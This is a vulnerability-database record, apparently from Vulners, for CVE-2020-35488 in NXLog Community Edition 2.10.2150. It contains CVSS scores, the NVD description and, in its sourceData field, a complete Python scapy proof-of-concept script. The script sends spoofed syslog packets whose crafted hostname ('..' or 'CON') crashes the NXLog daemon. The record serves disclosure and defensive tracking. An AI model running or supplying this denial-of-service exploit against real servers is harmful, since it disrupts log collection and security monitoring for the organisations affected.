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{"id": "EDB-ID:49283", "vendorId": null, "type": "exploitdb", "bulletinFamily": "exploit", "title": "Nxlog Community Edition 2.10.2150 - DoS (Poc)", "description": "", "published": "2020-12-17T00:00:00", "modified": "2020-12-17T00:00:00", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, "href": "https://www.exploit-db.com/exploits/49283", "reporter": "Guillaume PETIT", "references": [], "cvelist": ["CVE-2020-35488", "2020-35488"], "immutableFields": [], "lastseen": "2022-01-13T05:29:54", "viewCount": 450, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2020-35488"]}, {"type": "githubexploit", "idList": ["11CDD195-7834-5DAE-9854-3CC86EFB4480"]}], "rev": 4}, "score": {"value": 5.2, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2020-35488"]}, {"type": "githubexploit", "idList": ["11CDD195-7834-5DAE-9854-3CC86EFB4480"]}]}, "exploitation": null, "vulnersScore": 5.2}, "sourceHref": "https://www.exploit-db.com/download/49283", "sourceData": "# Exploit Title: Nxlog Community Edition 2.10.2150 - DoS (Poc)\r\n# Date: 15/12/2020\r\n# Exploit Author: Guillaume PETIT\r\n# Vendor Homepage: https://nxlog.co\r\n# Software Link: https://nxlog.co/products/nxlog-community-edition/download\r\n# Version: 2.10.2150\r\n# Tested on: Linux Debian 10 && Windows Server 2019\r\n# CVE: CVE-2020-35488\r\n\r\n#!/usr/bin/python3\r\n\r\nimport sys\r\nimport time\r\nimport argparse\r\nfrom scapy.all import *\r\n\r\ndef getPayload(args):\r\n # IF UNIX\r\n if (args.OS == 1):\r\n return \"Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden\"\r\n # IF WINDOWS\r\n elif (args.OS == 2):\r\n return \"Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden\"\r\n\r\n # Test\r\n elif (args.OS == 3):\r\n return \"Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden\"\r\n\r\ndef runExploit(args,payload):\r\n priority = 30\r\n message = payload\r\n syslog = IP(src=\"192.168.1.10\",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load=\"<\" + str(priority) + \">\" + message)\r\n send(syslog,verbose=args.DEBUG)\r\n\r\ndef getArguments():\r\n parser = argparse.ArgumentParser(description=\"Go h@ck SYSLOG\")\r\n parser.add_argument(\"-ip\", \"-IP\", dest=\"IP\", type=str, metavar=\"IP destination\", required=True,default=1, help=\"IP of NXLOG server\")\r\n parser.add_argument(\"-p\", \"-P\", dest=\"PORT\", type=int, metavar=\"Port destination\", required=False,default=514, help=\"Port of NXLOG default 514\")\r\n parser.add_argument(\"-os\", \"-OS\", dest=\"OS\", type=int, metavar=\"OS\", default=1, required=True, help=\"1 : For unix payload \\n 2 : For Windows Paylaod \\n 3 : Just for test\")\r\n parser.add_argument(\"-d\", \"-D\", dest=\"DEBUG\", type=int, metavar=\"DEBUG\", default=0, required=False, help=\"1 : Debbug enable\")\r\n return parser.parse_args()\r\n\r\ndef main():\r\n args = getArguments()\r\n payload = getPayload(args)\r\n runExploit(args,payload)\r\nmain()", "osvdbidlist": [], "exploitType": "dos", "verified": false, "_state": {"dependencies": 1645822041}}

{"cve": [{"lastseen": "2022-04-29T23:20:58", "description": "The fileop module of the NXLog service in NXLog Community Edition 2.10.2150 allows remote attackers to cause a denial of service (daemon crash) via a crafted Syslog payload to the Syslog service. This attack requires a specific configuration. Also, the name of the directory created must use a Syslog field. (For example, on Linux it is not possible to create a .. directory. On Windows, it is not possible to create a CON directory.)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-01-05T15:15:00", "type": "cve", "title": "CVE-2020-35488", "cwe": ["CWE-502"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-35488"], "modified": "2022-04-29T12:45:00", "cpe": [], "id": "CVE-2020-35488", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-35488", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, "cpe23": []}], "githubexploit": [{"lastseen": "2022-04-01T05:14:57", "description": "I have found a vulnerability in product: **nxlog-ce_2.10.2150**....", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-12-15T17:55:07", "type": "githubexploit", "title": "Exploit for Deserialization of Untrusted Data in Nxlog", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-35488"], "modified": "2022-04-01T03:31:42", "id": "11CDD195-7834-5DAE-9854-3CC86EFB4480", "href": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, "privateArea": 1}]}